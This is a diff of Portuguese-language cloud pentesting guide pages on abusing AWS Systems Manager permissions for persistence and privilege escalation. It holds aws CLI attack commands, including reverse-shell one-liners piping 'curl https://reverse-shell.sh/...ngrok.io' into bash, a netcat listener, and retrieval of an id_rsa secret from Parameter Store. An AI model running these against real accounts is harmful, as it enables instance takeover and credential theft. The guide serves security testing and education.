diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md index 8e3013566..0797baaa4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -1,18 +1,18 @@ -# AWS - SSM Persistência +# AWS - SSM Perssitence {{#include ../../../../banners/hacktricks-training.md}} ## SSM -Para mais informações, consulte: +For more information check: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md {{#endref}} -### Usando ssm:CreateAssociation para persistência +### Using ssm:CreateAssociation for persistence -Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas pelo SSM. Essas State Manager Associations podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para backdoor-like persistence sem sessões interativas. +Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar comandos automaticamente em instâncias EC2 gerenciadas por SSM. Essas associações podem ser configuradas para rodar em um intervalo fixo, tornando-as adequadas para persistence estilo backdoor sem sessões interativas. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -22,6 +22,56 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Este método de persistência funciona desde que a instância EC2 seja gerenciada pelo Systems Manager, o SSM agent esteja em execução, e o atacante tenha permissão para criar associations. Não requer sessões interativas nem permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo da AWS de 30 minutos. Para execução imediata ou única, omita completamente `--schedule-expression` — a association será executada uma vez após a criação. -> -> {{#include ../../../../banners/hacktricks-training.md}} +> Este método de persistence funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente do SSM estiver em execução, e o atacante tiver permissão para criar associations. Ele não requer sessões interativas nem permissões explícitas de ssm:SendCommand. **Importante:** o parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos do AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a association será executada uma vez após a criação. + + +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Um atacante com as permissões **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** pode escalar privilégios modificando documentos existentes. Isso também permite persistence dentro desse documento. Na prática, o atacante também precisaria de **`ssm:ListDocuments`** para obter os nomes de custom documents e, se o atacante quiser ofuscar seu payload dentro de um documento existente, **`ssm:GetDocument`** também seria necessário. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Abaixo está um documento de exemplo que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo dos documentos de destino para evitar issues com innvocation. O documento abaixo, por exemplo, servirá para os exemplos **`ssm:SendCommand`** e **`ssm:CreateAssociation`**. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Um atacante com as permissões **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** pode escalar privilégios ao primeiro registrar um novo target com uma maintenance window existente e depois atualizar registrando uma nova task. Isso obtém execução nos targets existentes, mas pode permitir que um atacante comprometa compute com diferentes roles ao registrar novos targets. Isso também permite persistence, já que as tasks de maintenance windows são executadas em um intervalo predefinido durante a criação da window. Na prática, o atacante também precisaria de **`ssm:DescribeMaintenanceWindows`** para obter os IDs da maintenance window. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index 75df2a55c..982040205 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -12,7 +12,7 @@ Para mais informações sobre SSM, veja: ### `ssm:SendCommand` -Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que estejam executando o Amazon SSM Agent e **comprometer a IAM Role** em execução nelas. +Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instances** que estejam rodando o Amazon SSM Agent e **comprometer a IAM Role** em execução dentro dele. ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -Caso você esteja usando esta técnica para escalate privileges dentro de uma instância EC2 já comprometida, você pode simplesmente capturar o rev shell localmente com: +Caso você esteja usando esta técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você poderia simplesmente capturar o rev shell localmente com: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Impacto Potencial:** Privesc direto para os EC2 IAM roles anexados às instâncias em execução com SSM Agents. +**Impacto Potencial:** privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com SSM Agents rodando. ### `ssm:StartSession` -Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante a SSH em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** em execução no seu interior. +Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante a SSH em instâncias** com o Amazon SSM Agent em execução e **comprometer o IAM Role** rodando dentro dela. ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Em ordem para iniciar uma sessão você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Para iniciar uma sessão você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Impacto Potencial:** privesc direto para os EC2 IAM roles anexados às instâncias em execução com SSM Agents em funcionamento. +**Impacto Potencial:** privesc direto para os perfis IAM do EC2 anexados às instâncias em execução com SSM Agents rodando. -#### Privesc para ECS +#### Privesc to ECS -Quando **ECS tasks** são executadas com **`ExecuteCommand` enabled** usuários com permissões suficientes podem usar `ecs execute-command` para **execute a command** dentro do container.\ -De acordo com [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessário para isso funcionar)\ -Portanto, usuários com `ssm:StartSession` poderão **get a shell inside ECS tasks** com essa opção habilitada apenas executando: +Quando **ECS tasks** rodam com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do container.\ +De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_“ e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessário para isso funcionar)\ +Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro de ECS tasks** com essa opção habilitada apenas executando: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Impacto Potencial:** Direct privesc para as `ECS`IAM roles anexadas às tarefas em execução com `ExecuteCommand` habilitado. +**Potential Impact:** privesc direto para as `ECS`IAM roles anexadas a tasks em execução com `ExecuteCommand` habilitado. ### `ssm:ResumeSession` -Um atacante com a permissão **`ssm:ResumeSession`** pode re-**iniciar uma sessão tipo SSH em instâncias** executando o Amazon SSM Agent com um estado de sessão SSM **desconectado** e **comprometer o IAM Role** que estiver sendo executado dentro dela. +Um attacker com a permissão **`ssm:ResumeSession`** pode **reiniciar uma SSH like session em instances** executando o Amazon SSM Agent com um estado de sessão SSM **disconnected** e **comprometer a IAM Role** em execução dentro dela. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,11 +72,11 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Impacto Potencial:** Direct privesc para os EC2 IAM roles atribuídos às instâncias em execução com SSM Agents ativos e sessões desconectadas. +**Impacto Potencial:** privesc direta para os IAM roles do EC2 anexados às instâncias em execução com SSM Agents rodando e sessões desconectadas. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Um atacante com as permissões mencionadas poderá listar os **SSM parameters** e **lê-los em texto plano**. Nesses parâmetros você frequentemente pode **encontrar informações sensíveis**, como chaves SSH ou chaves de API. +Um atacante com as permissões mencionadas vai conseguir listar os **SSM parameters** e **lê-los em clear-text**. Nesses parameters, você frequentemente pode **encontrar informações sensíveis** como chaves SSH ou API keys. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" @@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -Um atacante com essa permissão pode listar todos os **comandos** enviados e, com sorte, encontrar **informações sensíveis** neles. +Um atacante com essa permissão pode listar todos os **commands** enviados e, com sorte, encontrar **informações sensíveis** neles. ``` aws ssm list-commands ``` -**Impacto Potencial:** Encontrar informações sensíveis dentro das linhas de comando. +**Impacto Potencial:** Encontrar informação sensível dentro das linhas de comando. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Um atacante com essas permissões pode listar todos os **commands** enviados e **read the output** gerado, esperando encontrar **informações sensíveis** nele. +Um atacante com estas permissões pode listar todos os **commands** enviados e **ler a output** gerada, esperando encontrar **informação sensível** nela. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Impacto Potencial:** Encontrar informações sensíveis na saída das linhas de comando. +**Impacto Potencial:** Encontrar informações sensíveis dentro da saída das linhas de comando. ### Usando ssm:CreateAssociation -Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para persistência tipo backdoor sem sessões interativas. +Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas por SSM. Essas associations podem ser configuradas para rodar em um intervalo fixo, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,60 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Este método de persistência funciona enquanto a instância EC2 for gerida pelo Systems Manager, o agente SSM estiver em execução, e o atacante tiver permissão para criar associations. Não requer sessões interativas nem permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo da AWS de 30 minutos. Para execução imediata ou única, omita completamente `--schedule-expression` — a association será executada uma vez após a criação. +> Este método de persistence funciona enquanto a instância EC2 estiver sendo gerenciada pelo Systems Manager, o SSM agent estiver em execução e o attacker tiver permissão para criar associations. Ele não requer interactive sessions nem permissões explícitas de ssm:SendCommand. **Importante:** o parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos do AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a association será executada uma vez após a criação. +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Um attacker com as permissões **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** pode escalar privilégios modificando documents existentes. Isso também permite persistence dentro desse document. Na prática, o attacker também precisaria de **`ssm:ListDocuments`** para obter os nomes de custom documents e, se o attacker quiser ofuscar seu payload dentro de um document existente, **`ssm:GetDocument`** também será necessário. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Abaixo está um exemplo de documento que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo do documento de destino para evitar problemas com innvocation. O documento abaixo, por exemplo, cobrirá os exemplos **`ssm:SendCommand`** e **`ssm:CreateAssociation`**. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Um atacante com as permissões **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** pode escalar privilégios registrando primeiro um novo target com uma maintenance window existente e depois atualizando o registro de uma nova task. Isso permite execução nos targets existentes, mas também pode permitir que um atacante comprometa compute com diferentes roles ao registrar novos targets. Isso também permite persistence, já que as tasks das maintenance windows são executadas em um intervalo pré-definido durante a criação da window. Na prática, o atacante também precisaria de **`ssm:DescribeMaintenanceWindows`** para obter os IDs da maintenance window. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` ### Codebuild -Você também pode usar o SSM para obter acesso a um projeto codebuild durante a sua construção: +Você também pode usar SSM para entrar em um projeto codebuild sendo compilado: {{#ref}} ../aws-codebuild-privesc/README.md